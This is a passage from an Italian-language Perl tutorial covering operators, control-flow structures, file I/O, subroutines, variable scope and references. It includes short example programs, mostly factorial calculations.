op1 % *op2*	Modulo: il resto della divisione tra il primo e il secondo operando.
op1 ** *op2*	Eleva il primo operando alla potenza del secondo.
var = *valore*	Assegna alla variabile il valore alla destra.
op1 += *op2*	*op1* = *op1* + *op2*
op1 -= *op2*	*op1* = *op1* - *op2*

Operatore e operandi	Descrizione
op1 `*=` ***op2***	***op1*** `=` ***op1*** `*` ***op2***
op1 `/=` ***op2***	***op1*** `=` ***op1*** `/` ***op2***
op1 `%=` ***op2***	***op1*** `=` ***op1*** `%` ***op2***
op1 `**=` ***op2***	***op1*** `=` ***op1*** `**` ***op2***
op1 `==` ***op2***	*Vero* se gli operandi si equivalgono.
op1 `!=` ***op2***	*Vero* se gli operandi sono differenti.
op1 `<` ***op2***	*Vero* se il primo operando è minore del secondo.
op1 `>` ***op2***	*Vero* se il primo operando è maggiore del secondo.
op1 `<=` ***op2***	*Vero* se il primo operando è minore o uguale al secondo.
op1 `>=` ***op2***	*Vero* se il primo operando è maggiore o uguale al secondo.

La gestione da parte di Perl delle stringhe è molto sofisticata e questa si attua principalmente attraverso gli operatori di delimitazione. In questa sezione si vuole solo accennare agli operatori che hanno effetto sulle stringhe, sorvolando su raffinatezze che si possono ottenere in casi particolari. La tabella 27.40 elenca tali operatori.

Tabella 27.40. Elenco degli operatori utilizzabili in presenza di valori alfanumerici, o stringa. Le metavariabili indicate rappresentano gli operandi e la loro posizione.

Operatore e operandi	Descrizione
str1 `.` ***str2***	Concatena le due stringhe.
str `x` ***num***	Restituisce la stringa ripetuta consecutivamente ***num*** volte.
str `=~` ***modello***	Collega il modello alla stringa. Il risultato dipende dal contesto.
str `!~` ***modello***	Come '**`=~`**', ma restituisce un valore inverso.
var `=` ***valore***	Assegna alla variabile il valore alla destra.
op1 `x=` ***op2***	***op1*** `=` ***op1*** `x` ***op2***
op1 `.=` ***op2***	***op1*** `=` ***op1*** `.` ***op2***
str1 `eq` ***str2***	*Vero* se le due stringhe sono uguali.
str1 `ne` ***str2***	*Vero* se le due stringhe sono differenti.
str1 `lt` ***str2***	*Vero* se la prima stringa è lessicograficamente inferiore alla seconda.

Operatore e operandi	Descrizione
str1 gt ***str2***	*Vero* se la prima stringa è lessicograficamente superiore alla seconda.
str1 le ***str2***	*Vero* se la prima stringa è lessicograficamente inferiore o uguale alla seconda.
str1 ge ***str2***	*Vero* se la prima stringa è lessicograficamente superiore o uguale alla seconda.

Gli operatori che intervengono sulle liste sono elencati nella tabella 27.41.

Tabella 27.41. Elenco degli operatori utilizzabili in presenza di liste. Le metavariabili indicate rappresentano gli operandi e la loro posizione.

Operatore e operandi	Descrizione
lista x ***num***	Restituisce la lista composta ripetendo quella indicata per ***num*** volte.
array = ***lista***	Crea l'array assegnandogli la lista indicata alla destra.
elem1 , ***elem2***	La virgola è l'operatore di separazione degli elementi di una lista.
elem1 => ***elem2***	Sinonimo della virgola.
elem1 .. ***elem2***	Rappresenta una lista di valori da ***elem1*** a ***elem2***.

27.5.2 Operatori logici

È il caso di ricordare che con Perl tutti i tipi di dati possono essere valutati in modo logico: lo zero numerico o letterale, la stringa nulla e un valore indefinito corrispondono a *Falso*, in tutti gli altri casi si considera equivalente a *Vero*. Gli operatori logici sono elencati nella tabella 27.42.

Tabella 27.42. Elenco degli operatori logici. Le metavariabili indicate rappresentano gli operandi e la loro posizione.

Operatore e operandi	Descrizione
! ***op***	Inverte il risultato logico dell'operando.
op1 && ***op2***	Se il risultato del primo operando è *Falso* non valuta il secondo.
op1 || ***op2***	Se il risultato del primo operando è *Vero* non valuta il secondo.
op1 and ***op2***	Come '**&&**', ma con un livello di precedenza molto basso.
op1 or ***op2***	Come '**||**', ma con un livello di precedenza molto basso.

Il risultato di un'espressione logica complessa è quello dell'ultima espressione elementare a

essere valutata. Questo particolare è importante, anche se si tratta di un comportamento comune di diversi linguaggi, perché viene usato spesso per condizionare l'esecuzione di istruzioni, senza usare le strutture tradizionali, come *if-else*, o simili.

Questo tipo di approccio da parte del programmatore è sconsigliabile in generale, dato che serve a complicare la lettura e l'interpretazione umana del sorgente; tuttavia è importante conoscere esempi di questo tipo, perché sono sempre molti i programmi fatti alla svelta senza pensare alla leggibilità.

L'esempio seguente dovrebbe dare l'idea di come si può utilizzare l'operatore logico '`||`' (OR). Il risultato logico finale non viene preso in considerazione, quello che conta è solo il risultato della condizione '**`$valore > 90`**', che se non si avvera fa sì che venga eseguita l'istruzione '**`print`**' posta come secondo operando.

```
#!/usr/bin/perl
...
$valore = 100;
...
$valore > 90 || print "Il valore è insufficiente\n";
...
```

In pratica, se il valore contenuto nella variabile '**`$valore`**' supera 90, non si ottiene l'emissione del messaggio attraverso lo standard output. In questi casi, si usano preferibilmente gli operatori '**`and`**' e '**`or`**', che si distinguono perché hanno una precedenza molto bassa, adattandosi meglio alla circostanza.

```
$valore > 90 or print "Il valore è insufficiente\n";
```

Come si vede dalla variante dell'esempio proposta, l'espressione diventa quasi simpatica, perché sembra una frase inglese più comprensibile. La cosa può diventare ancora più «divertente» se si utilizza la funzione interna ***die()***, che serve a visualizzare un messaggio attraverso lo standard error e a concludere il funzionamento del programma Perl.

```
$valore > 90 or die "Il valore è insufficiente\n";
```

A parte la simpatia o il divertimento nello scrivere codice del genere, è bene ricordare che poi si tratta di qualcosa che un altro programmatore può trovare difficile da interpretare.

27.5.3 Operatori particolari

Tra gli operatori che non sono stati indicati nelle categorie descritte precedentemente, il più interessante è il seguente:

condizione `?` ***espressione1*** `:` ***espressione2***

Se la condizione restituisce il valore *Vero*, allora l'operatore restituisce il valore della prima espressione, altrimenti quello della seconda.

27.5.4 Raggruppamenti di espressioni

Le espressioni, di qualunque genere siano, possono essere raggruppate in modo che la loro valutazione avvenga in un ordine differente da quanto previsto dalle precedenze legate agli operatori utilizzati. Per questo si usano le parentesi tonde, come avviene di solito anche negli altri linguaggi.

Le parentesi tonde sono anche i delimitatori delle liste, per cui è anche possibile immaginare che esistano delle liste contenenti delle espressioni. Se si valuta una lista di espressioni, si ottiene il risultato della valutazione dell'ultima di queste.

27.6 Strutture di controllo del flusso

Perl gestisce praticamente tutte le strutture di controllo di flusso degli altri linguaggi di programmazione, compreso *go-to* che comunque è sempre meglio non utilizzare e qui non viene presentato volutamente.

Quando una struttura particolare controlla un gruppo di istruzioni, queste vengono delimitate necessariamente attraverso le parentesi graffe, come avviene in C, ma a differenza di quel linguaggio non è possibile farne a meno quando ci si limita a indicare una sola istruzione.

Le strutture di controllo del flusso basano normalmente questo controllo sulla verifica di una condizione espressa all'interno di parentesi tonde.

Nei modelli sintattici indicati, le parentesi graffe fanno parte delle istruzioni, essendo i delimitatori dei blocchi di istruzioni di Perl.

27.6.1 Strutture condizionali: «if» e «unless»

```
if (condizione) { istruzione;...}
```

```
if (condizione) { istruzione;...} else { istruzione;...}
```

```
if (cond) { istr;...} elsif (cond) { istr;...}... else { istr;...}
```

Se la condizione si verifica viene eseguito il gruppo di istruzioni seguente, racchiuso tra parentesi graffe, quindi il controllo passa alle istruzioni successive alla struttura. Se viene utilizzato '**`elsif`**', nel caso non si verifichino altre condizioni precedenti, viene verificata la condizione successiva; se questa si avvera, viene eseguito il gruppo di istruzioni che ne segue. Al termine il controllo riprende dopo la struttura. Se viene utilizzato '**`else`**', quando non si verifica alcuna condizione di quelle poste, viene eseguito il gruppo di istruzioni finale. Vengono mostrati alcuni esempi:

```
if ($importo > 10000000) { print "L'offerta è vantaggiosa"; }
```

```
if ($importo > 10000000)
  {
    $memorizza = $importo;
    print "L'offerta è vantaggiosa.\n";
  }
else
  {
    print "Lascia perdere.\n";
  }
```

```
if ($importo > 10000000)
  {
    $memorizza = $importo;
    print "L'offerta è vantaggiosa.\n";
  }
elsif ($importo > 5000000)
  {
    $memorizza = $importo;
    print "L'offerta è accettabile.\n";
  }
else
  {
    print "Lascia perdere.\n";
  }
```

La parola '**`unless`**' può essere utilizzata come '**`if`**', con la differenza che la condizione viene valutata in modo opposto, cioè viene eseguito il gruppo di istruzioni che segue '**`unless`**' solo se **non** si verifica la condizione.

27.6.2 Iterazioni con condizione di uscita iniziale: «while» e «until»

`while (`***condizione***`) {` ***istruzione***`;`...`}`

`while (`***condizione***`) {` ***istruzione***`;`...`} continue {` ***istruzione***`;`...`;}`

La struttura '**`while`**' esegue un gruppo di istruzioni finché la condizione restituisce il valore *Vero*. La condizione viene valutata prima di eseguire il gruppo di istruzioni e poi ogni volta che termina un ciclo, prima dell'esecuzione del successivo.

Il blocco di istruzioni che segue '**`continue`**' viene eseguito semplicemente di seguito al gruppo normale. Ci sono situazioni in cui viene saltato. Segue l'esempio del calcolo del fattoriale:

```
#!/usr/bin/perl

# Il numero di partenza viene fornito come argomento nella riga di comando.
$numero = $ARGV[0];
$cont = $numero -1;
while ($cont > 0)
  {
    $numero = $numero * $cont;
    $cont = $cont -1;
  }
print "Il fattoriale è $numero.\n";
```

La stessa cosa si potrebbe semplificare nel modo seguente:

```
#!/usr/bin/perl
#
# Il numero di partenza viene fornito come argomento nella
# riga di comando.
#
$numero = $ARGV[0];
$cont = $numero -1;
while ($cont)
  {
    $numero *= $cont;
    $cont--;
  }
print "Il fattoriale è $numero.\n";
```

All'interno delle istruzioni di un ciclo '**`while`**' possono apparire alcune istruzioni particolari:

`next`	interrompe l'esecuzione del gruppo di istruzioni e riprende dalla valutazione della condizione (se esiste il gruppo '**`continue`**', '**`next`**' rinvia all'esecuzione di questo e quindi alla valutazione della condizione);
`last`	esce definitivamente dal ciclo '**`while`**' senza curarsi del gruppo di istruzioni '**`continue`**';
`redo`	ripete il ciclo, senza valutare e verificare nuovamente l'espressione della condizione e senza curarsi del gruppo di istruzioni '**`continue`**'.

L'esempio seguente è una variante del calcolo del fattoriale in modo da vedere il funzionamento di '**`last`**'. Si osservi che '**`while (1){...}`**' equivale a un ciclo senza fine perché la condizione (cioè il valore 1) è sempre vera.

```
#!/usr/bin/perl
#
# Il numero di partenza viene fornito come argomento
# nella riga di comando.
#
$numero = $ARGV[0];
$cont = $numero -1;
# Il ciclo seguente è senza fine.
while (1)
  {
    $numero *= $cont;
    $cont--;
    if (!$cont)
      {
        last;
      }
  }
print "Il fattoriale è $numero.\n";
```

La parola '**`until`**' può essere utilizzata al posto di '**`while`**', con la differenza che la condizione viene valutata in modo opposto, cioè viene eseguito il gruppo di istruzioni che segue '**`until`**' solo se **non** si verifica la condizione. In pratica, al verificarsi della condizione, il ciclo termina.

27.6.3 Iterazioni con condizione di uscita finale: «do-while» e «do-until»

`do {` ***istruzione*** `;...} while (`***condizione***`)`

La struttura '**`do`**...**`while`**' esegue un gruppo di istruzioni almeno una volta, quindi ne ripete l'esecuzione finché la condizione restituisce il valore *Vero*. Segue il solito esempio del calcolo del fattoriale:

```
#!/usr/bin/perl
#
# Il numero di partenza viene fornito come argomento
# nella riga di comando.
#
$cont       = $ARGV[0];
$fattoriale = 1;
do
  {
    $fattoriale *= $cont;
    $cont--;
  }
while ($cont);
print "Il fattoriale è $fattoriale.\n";
```

L'uso della parola '**`until`**', al posto di '**`while`**', fa sì che la verifica della condizione avvenga nel senso che non si avveri, in pratica inverte il senso della condizione che controlla l'uscita dal ciclo.

27.6.4 Iterazione enumerativa: «for»

```
for (espressione1; espressione2; espressione3) { istruzione;...}
```

Questa è la forma tipica di un'istruzione '**`for`**', in cui la prima espressione corrisponde all'assegnamento iniziale di una variabile, la seconda a una condizione che deve verificarsi fino a che si vuole che sia eseguito il gruppo di istruzioni e la terza all'incremento o decremento della variabile inizializzata con la prima espressione. In pratica, potrebbe esprimersi nella sintassi seguente:

```
for ($var = n ; condizione; $var++) { istruzione;...}
```

In realtà la forma del ciclo '**`for`**' potrebbe essere diversa, ma in tal caso si preferisce utilizzare il nome '**`foreach`**' che è comunque un sinonimo.

In breve: la prima espressione viene eseguita una volta sola all'inizio del ciclo; la seconda viene valutata all'inizio di ogni ciclo e il gruppo di istruzioni viene eseguito solo se il risultato è *Vero*. L'ultima espressione viene eseguita alla fine dell'esecuzione del gruppo di istruzioni, prima che si ricominci con l'analisi della condizione.

Segue il solito esempio del calcolo del fattoriale:

```
#!/usr/bin/perl
#
# Il numero di partenza viene fornito come argomento
# nella riga di comando.
#
$numero = $ARGV[0];
for ($cont = 1; $cont < $ARGV[0]; $cont++)
  {
    $numero *= $cont;
  }
print "Il fattoriale è $numero.\n";
```

27.6.5 Iterazione con scansione di valori: «foreach»

```
foreach var_scalare lista { istruzione;...}
```

La parola '**`foreach`**' è un sinonimo di '**`for`**', per cui si tratta della stessa cosa, solo che si preferisce utilizzare due termini differenti per una struttura che può articolarsi in due modi alternativi.

La variabile scalare iniziale, viene posta di volta in volta ai valori contenuti nella lista, eseguendo ogni volta il gruppo di istruzioni. Il ciclo finisce quando non ci sono più elementi nella lista.

Segue il solito esempio del calcolo del fattoriale:

```
#!/usr/bin/perl
#
# Il numero di partenza viene fornito come argomento
# nella riga di comando.
#
$numero = $ARGV[0];
foreach $cont (1 .. ($ARGV[0] -1))
  {
    $numero *= $cont;
  }
print "Il fattoriale è $numero.\n";
```

27.6.6 Istruzioni condizionate

Una brutta tradizione di Perl consente la scrittura di istruzioni condizionate secondo le sintassi seguenti:

espressione1 `if` ***espressione2***

espressione1 `unless` ***espressione2***

espressione1 `while` ***espressione2***

espressione1 `until` ***espressione2***

Si tratta di forme abbreviate e sconsigliabili (secondo il parere di chi scrive) delle sintassi seguenti.

`if (`***espressione2***`) {` ***espressione1*** `}`

`unless (`***espressione2***`) {` ***espressione1*** `}`

```
while (espressione2) { espressione1 }
```

```
until (espressione2) { espressione1 }
```

Come si vede, lo sforzo necessario a scrivere le istruzioni nel modo normale, è minimo. Evidentemente, l'idea che sta alla base della possibilità di usare sintassi così strane delle strutture '**if**', '**while**' e simili, è quella di permettere la scrittura di codice che assomigli alla lingua inglese.

27.7 Funzioni interne

Perl fornisce una serie di funzioni già pronte. In realtà, più che di funzioni vere e proprie, si tratta di operatori unari che intervengono sull'argomento posto alla loro destra. Questa precisazione è importante perché serve a comprendere meglio il meccanismo con cui Perl interpreta le chiamate di tali funzioni od operatori.

Finora si è visto il funzionamento di una funzione molto semplice, '**print**'. Questa emette il risultato dell'operando che si trova alla sua destra, ma solo del primo. Se ciò che appare alla destra di '**print**' è un'espressione, la valutazione dell'insieme '**print** *espressione*', dipende dalle precedenze tra gli operandi. Infatti:

- ```
  print 1+2+4;
  ```
  restituisce sette;

- ```
  print (1+2)+4;
  ```
  restituisce tre;

- ```
  print (1+2+4);
  ```
  restituisce sette.

Utilizzando le funzioni di Perl nello stesso modo in cui si fa negli altri linguaggi, racchiudendo l'argomento tra parentesi, si evitano ambiguità; soprattutto, in questo modo, sembrano essere veramente funzioni anche se si tratta di operatori.

L'argomento di queste funzioni di Perl (ovvero l'operando) può essere uno scalare o una lista. In questo caso quindi, così come lo scalare non ha la necessità di essere racchiuso tra parentesi, anche la lista non lo ha. Resta in ogni caso il fatto che ciò sia almeno consigliabile per migliorare la leggibilità del programma. La sezione 27.17 elenca e descrive alcune di queste funzioni.
  ```

27.8 Input e output dei dati

L'I/O può avvenire sia attraverso l'uso dei flussi standard di dati (standard input, standard output e standard error), sia utilizzando file differenti. I flussi di dati standard sono trattati come file normali, con la differenza che generalmente non devono essere aperti o chiusi.

Assieme alla gestione dei file si affianca la possibilità di eseguire comandi del sistema operativo, in parte descritta nella sezione dedicata agli operatori di delimitazione di stringhe.

27.8.1 Esecuzione di comandi di sistema

Una stringa racchiusa tra apici inversi, oppure indicata attraverso l'operatore di stringa '**qx**', viene interpolata e il risultato viene fatto eseguire dal sistema operativo.

L'output del comando è il risultato della valutazione della stringa e il valore restituito dal comando può essere letto dalla variabile predefinita '**$?**'. È importante ricordare che generalmente i comandi del sistema operativo restituiscono un valore pari a zero quando l'operazione ha avuto successo. Dal punto di vista di Perl, quando '**$?**' contiene il valore *Falso* significa che il comando ha avuto successo.

L'esempio seguente dovrebbe rendere l'idea:

```
#!/usr/bin/perl
#
# $elenco riceve l'elenco di file in forma di un'unica stringa.
#
$elenco = `ls *.pl`;

if ($? == 0)
  {
    #
    # L'operazione ha avuto successo e viene visualizzato l'elenco.
    #
    print "$elenco\n";
  }
else
  {
    #
    # L'operazione è fallita.
    #
    print "Non ci sono programmi Perl\n";
  }
```

27.8.2 Gestione dei file

Perl, come molti altri linguaggi, gestisce i file aperti come flussi di file, o *file handle*. I flussi di file vengono indicati attraverso un nome che per convenzione è espresso quasi sempre attraverso lettere maiuscole.

Perl mette a disposizione tre flussi di file predefiniti: '**`STDIN`**', '**`STDOUT`**' e '**`STDERR`**'. Questi corrispondono rispettivamente ai flussi di standard input, standard output e standard error. Altri file possono essere utilizzati aprendoli attraverso la funzione ***open()***, con cui si abbina un flusso al file reale.

Perl è predisposto per gestire agevolmente i file di testo, cioè quelli organizzati convenzionalmente in righe terminanti con il codice di interruzione di riga. Si valuta un flusso di file come se si trattasse di una variabile, racchiudendone il nome tra parentesi angolari, ottenendo la lettura e la restituzione di una riga, ogni volta che avviene tale valutazione.

```
#!/usr/bin/perl

while (defined ($riga = <STDIN>))
 {
    print $riga;
 }
```

L'esempio appena mostrato emette attraverso lo standard output ciò che riceve dallo standard input. Quindi, la lettura del flusso di file attraverso la semplice valutazione dell'espressione, restituisce una riga fino al codice di interruzione di riga incluso. In questo modo, nell'esempio non è necessario aggiungere il codice '**`\n`**' nell'argomento della funzione '**`print`**'.

Se un flusso di file è l'unica cosa che appare nella condizione di un ciclo '**`while`**' o '**`for`**', la sua valutazione genera la lettura della riga e il suo inserimento all'interno della variabile predefinita '**`$_`**'. Questo fatto può essere usato convenientemente considerando che quando si raggiunge la fine, la valutazione del flusso di file genera un valore indefinito, pari a *Falso* in una condizione. I due esempi seguenti sono identici al quello mostrato poco sopra.

```
#!/usr/bin/perl

while (<STDIN>)
  {
    print $_;
  }
```

```
#!/usr/bin/perl

for ( ; <STDIN>; )
  {
    print $_;
  }
```

Un flusso di file può essere valutato in un contesto lista. In tal caso restituisce tutto il file in una lista in cui ogni elemento è una riga. Naturalmente ciò viene fatto a spese della memoria di elaborazione.

```
#!/usr/bin/perl

@mio_file = <STDIN>;
print @mio_file;
```

L'esempio appena mostrato si comporta come gli altri visti finora: restituisce lo standard input attraverso lo standard output. Si osservi che la funzione '`print`' ha l'argomento senza virgolette perché altrimenti inserirebbe uno spazio indesiderato tra un elemento e l'altro.

27.8.3 File globbing

Perl, se non riconosce ciò che trova all'interno di parentesi angolari come un flusso di file, tratta questo come un modello per indicare nomi di file, che viene valutato ottenendo l'elenco dei nomi corrispondenti. In pratica, la valutazione di '`<*.pl>`' restituisce l'elenco dei nomi dei file che terminano con l'estensione '`.pl`' nella directory corrente. Generalmente è preferibile eseguire un tipo di valutazione del genere in un contesto lista, come nell'esempio seguente:

```
#!/usr/bin/perl

@mioelenco = <*.pl>;
print "@mioelenco\n";
```

In alternativa si può utilizzare la funzione interna ***glob()***, come nell'esempio seguente:

```
#!/usr/bin/perl

@mioelenco = glob ("*.pl");
print "@mioelenco\n";
```

27.9 Funzioni definite dall'utente

Le funzioni definite dall'utente, o subroutine se si preferisce il termine, possono essere collocate in qualunque parte del sorgente Perl. Eventualmente possono anche essere caricate da file esterni. I parametri delle funzioni vengono passati nello stesso modo in cui si fa per le funzioni predefinite, interne a Perl: attraverso una lista di elementi scalari. Le funzioni ottengono i parametri dall'array predefinito '`@_`'. Il valore restituito dalle funzioni è quello dell'ultima istruzione eseguita all'interno della funzione: solitamente si tratta di '`return`' che permette di controllare meglio la cosa.

La sintassi normale per la dichiarazione di una funzione è la seguente. Le parentesi graffe vanno intese in modo letterale e non fanno parte della descrizione del modello sintattico.

```
sub nome { istruzione... }
```

Per la chiamata di una funzione si deve usare la forma seguente:

```
&nome (parametro, ...)
```

L'uso della e-commerciale ('&') all'inizio del nome è opportuno anche se non è strettamente obbligatorio: permette di evitare ambiguità se il nome della funzione è stato usato per altri tipi di entità all'interno del programma Perl.

```
#!/usr/bin/perl

sub somma
{
    return ($_[0] + $_[1]);
}

# I valori da sommare vengono indicati nella riga di comando.
$totale = &somma ($ARGV[0], $ARGV[1]);

print "$ARGV[0] + $ARGV[1] = $totale\n";
```

L'esempio mostrato sopra dovrebbe chiarire il ruolo dell'array '@_' all'interno della funzione, come mezzo per il trasporto dei parametri di chiamata.

27.9.1 Chiamata per riferimento e chiamata per valore

L'array '@_' è costruito attraverso riferimenti ai parametri utilizzati originariamente nella chiamata. Ciò è sufficiente a fare in modo che modificando il contenuto dei suoi elementi, queste modifiche si riflettano sui parametri di chiamata. Si ha in tal modo quello che si definisce ***chiamata per riferimento***, in cui la funzione è in grado di modificare le variabili utilizzate come parametri.

Naturalmente ciò ha senso solo se i parametri utilizzati sono espressi in forma di variabile e come tali possono essere modificati. Tentare di modificare una costante produce un errore irreversibile.

Dal momento che l'array '@_' contiene riferimenti ai dati originali, assegnando all'array un'altra lista di valori non si alterano i dati originali, ma si perde il contatto con quelli. Quindi, non si può assegnare a tale array una lista come modo rapido di variare tutti i parametri della chiamata.

Per gestire elegantemente una funzione che utilizzi il sistema della chiamata per valore, si può fare come nell'esempio seguente:

```
sub miasub
{
    local ($primo, $secondo, $terzo) = @_;
    …
    return …;
}
```

In tal modo, agendo successivamente solo sulle variabili scalari ottenute non si modifica l'array '@_' e lo stesso codice diventa più leggibile.

27.9.2 Campo di azione delle variabili

Perl gestisce tre tipi di campi di azione per le variabili (di solito si usa il termine *scope* per fare riferimento a questo concetto). Si tratta di variabili ***pubbliche***, ***private*** e ***locali***.

Le variabili pubbliche sono accessibili in ogni punto del programma, senza alcuna limitazione, a meno che vengano oscurate localmente. Si ottiene una variabile pubblica quando questa viene creata senza specificare nulla di particolare.

```
# Inizializzazione di una variabile pubblica.
$pubblica = "ciao";
```

Una variabile privata è visibile solo all'interno del blocco di istruzioni in cui viene creata e dichiarata come tale. Le funzioni chiamate eventualmente all'interno del blocco, non possono accedere alle variabili private dichiarate nel blocco chiamante. Si dichiara una variabile privata attraverso l'istruzione '**`my`**'.

```
my variabile
```

```
my variabile = valore
```

```
my (variabile1, variabile2, ...)
```

Una variabile locale è visibile solo all'interno del blocco di istruzioni in cui viene creata e dichiarata come tale. Le funzioni chiamate eventualmente all'interno del blocco, possono accedere alle variabili locali dichiarate nel blocco chiamante. Si dichiara una variabile locale attraverso l'istruzione '**`local`**'.

```
local variabile
```

```
local variabile = valore
```

```
local (variabile1, variabile2, ...)
```

Sia le variabili private, sia quelle locali, permettono di utilizzare un nome già esistente a livello globale, sovrapponendosi temporaneamente a esso. Quelle locali, in particolare, hanno valore anche per le funzioni chiamate all'interno dei blocchi in cui queste variabili sono state dichiarate.

Si dice anche che le variabili private abbiano un campo di azione definito in modo lessicale, mentre quelle locali in modo dinamico: terminata la zona di influenza, le variabili locali vengono rilasciate, mentre quelle private no.

Seguono due esempi di calcolo del fattoriale in modo ricorsivo. In un caso si utilizza una variabile privata, nell'altro una locale. Funzionano entrambi correttamente:

```
#!/usr/bin/perl

sub fattoriale
{
    my $valore = $_[0];
    if ($valore > 1)
      {
        return ($valore * &fattoriale ($valore -1));
      }
    else
      {
        return 1;
      }
}

$miofatt = &fattoriale ($ARGV[0]);

print "$ARGV[0]! = $miofatt\n";
```

```
#!/usr/bin/perl

sub fattoriale
{
    local $valore = $_[0];
    if ($valore > 1)
      {
        return ($valore * &fattoriale ($valore -1));
      }
    else
      {
        return 1;
      }
}

$miofatt = &fattoriale ($ARGV[0]);

print "$ARGV[0]! = $miofatt\n";
```

27.10 Variabili contenenti riferimenti

Si è accennato al fatto che una variabile scalare può contenere anche ***riferimenti***, oltre a valori stringa o numerici. Il riferimento è un modo alternativo per puntare a un'entità determinata del programma. La gestione di questi riferimenti da parte di Perl è piuttosto complessa. Qui vengono analizzate solo alcune caratteristiche e possibilità.

Perl gestisce due tipi di riferimenti: diretti (*hard*) e simbolici. Volendo fare un'analogia con quello che accade con i collegamenti dei file system Unix, i primi sono paragonabili ai collegamenti fisici (gli *hard link*), mentre i secondi sono simili ai collegamenti simbolici.

27.10.1 Riferimenti diretti

I riferimenti diretti vengono creati utilizzando l'operatore barra obliqua inversa ('****'), come negli esempi seguenti:

```
$rifscalare     = \$mioscalare;
$rifarray       = \@mioarray;
$rifhash        = \%miohash;
$rifcodice      = \&miafunzione;
$rifflusso      = \*MIO_FILE;
```

Esiste anche una forma sintattica alternativa di esprimere i riferimenti: si tratta di indicare il nome dell'entità per la quale si vuole creare il riferimento, preceduto da un asterisco e seguito dalla definizione del tipo a cui questa entità appartiene, tra parentesi graffe.

```
$rifscalare     = *mioscalare{SCALAR};
$rifarray       = *mioarray{ARRAY};
$rifhash        = *miohash{HASH};
$rifcodice      = *miafunzione{CODE};
$rifflusso      = *MIO_FILE{IO};
```

Perl riconosce anche il tipo '**FILEHANDLE**' equivalente a '**IO**', per motivi di compatibilità con il passato.

27.10.2 Riferimenti simbolici

I riferimenti simbolici sono basati sul nome dell'entità a cui si riferiscono, per cui, una variabile scalare contenente il nome dell'oggetto può essere gestita come un riferimento simbolico. Seguono alcuni degli esempi visti nel caso dei riferimenti diretti, in quanto con questo tipo di riferimenti non si possono gestire tutte le situazioni.

```
$rifscalare = 'mioscalare';
$rifarray   = 'mioarray';
$rifhash    = 'miohash';
$rifcodice  = 'miafunzione';
```

Generalmente, l'utilizzo di riferimenti simbolici è sconsigliabile, a meno che ci sia una buona ragione.

27.10.3 Dereferenziazione

Restando in questi termini, a parte il caso dei flussi di file, il modo per ***dereferenziare*** le variabili che contengono i riferimenti è uguale per entrambi i tipi. La forma normale richiede l'utilizzo delle parentesi graffe per delimitare lo scalare. In precedenza si è visto che una variabile scalare può essere indicata attraverso la forma '**${*nome*}**'. Estendendo questo concetto, racchiudendo tra parentesi graffe un riferimento, si ottiene l'oggetto stesso. Per cui:

- ```
  ${$rifscalare}
  ```
  equivale a utilizzare '**$mioscalare**';

- ```
  ${$rifscalare}[0]
  ```
  equivale a utilizzare '**$mioarray[0]**';

- ```
  ${$rifhash}{primo}
  ```
  equivale a utilizzare '**$miohash{primo}**';

- ```
  &{$rifcodice} (1, 7)
  ```
  equivale a utilizzare '**&miafunzione (1, 7)**'.

Sono anche ammissibili altre forme, più espressive o più semplici. La tabella 27.71 riporta alcuni esempi con le forme possibili per dereferenziare gli scalari contenenti dei riferimenti.

Tabella 27.71. Esempi attraverso cui dereferenziare le variabili scalari contenenti dei riferimenti.

${$rifscalare}	**$$rifscalare**	
${$rifscalare}[0]	**$$rifscalare[0]**	**$rifscalare->[0]**
${$rifhash}{primo}	**$$rifhash{primo}**	**$rifhash->{primo}**
&{$rifcodice} (1, 7)	**&$rifcodice (1, 7)**	**$rifcodice-> (1, 7)**

Il caso dei flussi di file è più semplice, in quanto è sufficiente valutare il riferimento, invece del flusso di file vero e proprio. L'esempio seguente dovrebbe chiarire il meccanismo:

```
$rifstdio  = \*STDIO;
$riga = <$rifstdio>;
```

27.10.4 Array multidimensionali

Gli array di Perl hanno una sola dimensione. Per ovviare a questo inconveniente si possono utilizzare elementi che fanno riferimento ad altri array. In pratica, si potrebbe fare qualcosa di simile all'esempio seguente:

```
@primo   = (1, 2);
@secondo = (3, 4);

@mioarray = (\@primo, \@secondo);
```

Qui, l'array '**`mioarray`**' è in pratica una matrice a due dimensioni rappresentabile nel modo seguente:

$$mioarray = \begin{pmatrix} 1 & 2 \\ 3 & 4 \end{pmatrix}$$

Per accedere a un elemento singolo di questo array, per esempio al primo elemento della seconda riga (il numero tre), si può usare intuitivamente una di queste due forme:

```
${$mioarray[1]}[0]

$mioarray[1]->[0]
```

In alternativa è concessa anche la forma seguente, più semplice e simile a quella di altri linguaggi:

```
$mioarray[1][0]
```

Una particolarità di Perl sta nella possibilità di definire delle entità anonime. Solitamente si tratta di variabili che non hanno un nome e a cui si accede attraverso uno scalare contenente un riferimento diretto al loro contenuto. Il caso più interessante è dato dagli array, perché questa possibilità permette di definire istantaneamente un array multidimensionale. L'array dell'esempio precedente potrebbe essere dichiarato nel modo seguente:

```
@mioarray = ([1, 2], [3, 4]);
```

La gestione pratica di un array multidimensionale secondo Perl, potrebbe sembrare un po' complessa a prima vista. Tuttavia, basta ricordare che si tratta di array dinamici, per cui, basta assegnare un elemento per dichiararlo implicitamente:

```
@mio_array = ();
...
$mio_array[0] = "ciao";
$mio_array[1] = "come";
$mio_array[2] = "stai";
...
```

Come si vede, viene dichiarato l'array senza elementi, al quale questi vengono inseriti solo successivamente. Così facendo, la dimensione dell'array varia in base all'uso che se ne fa. Con questo criterio si possono gestire anche gli array multidimensionali:

```
@mio_array = ();
…
$mio_array[0] = ();
…
$mio_array[0][0] = "ciao";
$mio_array[0][1] = "come";
$mio_array[0][2] = "stai";
…
```

In questo caso, dopo aver dichiarato l'array '**@mio_array**', senza elementi, viene dichiarato il primo elemento come contenente un altro array vuoto; infine, vengono dichiarati i primi tre elementi di questo sotto-array. Il funzionamento dovrebbe essere intuitivo, anche se si tratta effettivamente di un meccanismo molto complesso e potente.

Di fronte a array multidimensionali di questo tipo, potenzialmente irregolari, si può porre il problema di conoscere la lunghezza di un sotto-array. Volendo usare la tecnica del prefisso '**$#**', si potrebbe fare come nell'esempio seguente, per determinare la lunghezza dell'array contenuto in '**$mio_array[0]**'.

```
$ultimo = $#{$mio_array[0]};
```

27.10.5 Alias

Attraverso l'uso dei riferimenti, è possibile creare un alias di una variabile. Per comprendere questo è necessario introdurre l'uso dell'asterisco. Si osservi questo esempio: se '**$variabile**' rappresenta una variabile scalare, '***variabile**' rappresenta il puntatore alla variabile omonima. In un certo senso, '***variabile**' è equivalente a '**\$variabile**', ma non è proprio la stessa cosa. Si osservino gli assegnamenti seguenti, supponendo che esista già la variabile '**$tua**' e si tratti di uno scalare.

```
